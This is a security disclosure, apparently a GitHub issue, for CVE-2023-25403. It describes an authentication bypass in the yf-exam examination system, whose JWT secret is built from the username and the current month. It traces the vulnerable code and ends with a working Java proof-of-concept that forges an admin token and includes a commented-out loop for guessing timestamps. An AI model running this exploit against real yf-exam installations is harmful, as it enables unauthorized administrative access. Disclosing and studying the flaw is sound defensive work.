Headline
CVE-2023-25403: Authentication Bypass vulnerability · Issue #2 · CleverStupidDog/yf-exam
CleverStupidDog yf-exam v 1.8.0 is vulnerable to Authentication Bypass. The program uses a fixed JWT key, and the stored key uses username format characters. Any user who logged in within 24 hours. A token can be forged with his username to bypass authentication.
Description
yf-exam is a multi-role online training and examination system. The system integrates functions such as user management, role management, department management, question bank management, test question management, test question import and export, test management, online test, and wrong question training. The process is perfect. The program uses a fixed JWT key, and the stored key uses username format characters. Any user who logged in within 24 hours. A token can be forged with his username to bypass authentication.
Vulnerability details
login
com.yf.exam.modules.sys.user.controller#login()
Follow up the interface
com.yf.exam.modules.sys.user.service#lgion()
View the implementation class of the interface
com.yf.exam.modules.sys.user.service.impl#login()
First check whether the account exists, then check whether it is disabled, then check whether it is a password, and generate a token after passing.
com.yf.exam.modules.sys.user.service.impl#setToken()
You can see that it is generated using jwt. Then fill token, id.
com.yf.exam.ability.shiro.jwt#sign()
Here you can see that the payload is username, data, and the token is valid for 24 hours. jwt-key is encrypted username, follow up.
com.yf.exam.ability.shiro.jwt#encryptSecret()
Here you can see that the jwt-key is to take the md5 value twice. The jwt-key is generated based on the user name and remains unchanged for the current month, so it is very easy to forge.
TEST
Simulate admin login at around 13:44
Use poc to generate jwt
Import jwt and try to log in
After the import is refreshed, it successfully enters the background.
poc
import java.io.FileNotFoundException; import java.security.MessageDigest; import java.util.Calendar; import java.util.Date; import java.io.FileOutputStream; import java.io.PrintStream;
import com.auth0.jwt.JWT; import com.auth0.jwt.algorithms.Algorithm; import com.auth0.jwt.interfaces.DecodedJWT; import com.auth0.jwt.interfaces.JWTVerifier; public class Jwt_Test { private static final long EXPIRE_TIME = 24 * 60 * 60 * 1000; public static String MD5(String str) {
try {
MessageDigest md = MessageDigest.getInstance("MD5");
byte\[\] array = md.digest(str.getBytes("UTF-8"));
StringBuilder sb = new StringBuilder();
for (byte item : array) {
sb.append(Integer.toHexString((item & 0xFF) | 0x100).substring(1, 3));
}
return sb.toString();
} catch (Exception e) {
return null;
}
}
private static String encryptSecret(String userName) {
// 一个简单的登录规则,用户名+当前月份为加密串,意思每个月会变,要重新登录
// 可自行修改此规则
Calendar cl = Calendar.getInstance();
cl.setTimeInMillis(System.currentTimeMillis());
StringBuffer sb = new StringBuffer(userName)
.append("&")
.append(cl.get(Calendar.MONTH));
// 获取MD5
String secret = MD5(sb.toString());
// System.out.println(“jwt_key:” + secret);
return MD5(userName + "&" + secret);
}
public static String sign(String username, long time) {
Date date = new Date(time+EXPIRE\_TIME);
System.out.println("token有效期:" + date);
Algorithm algorithm = Algorithm.HMAC256(encryptSecret(username));
// 附带username信息
System.out.println("jwt-key :"+encryptSecret(username));
return JWT.create()
.withClaim("username", username)
.withExpiresAt(date).sign(algorithm);
}
public static void main(String\[\] args) throws FileNotFoundException {
// for (long i = 1675576527000L; i < 1675576827000L; i+=1000) { // String token = sign("admin", i); //每秒计算一次jwt // System.out.println(token); // } String token = sign("admin", 1675577612169L); System.out.println(token); } }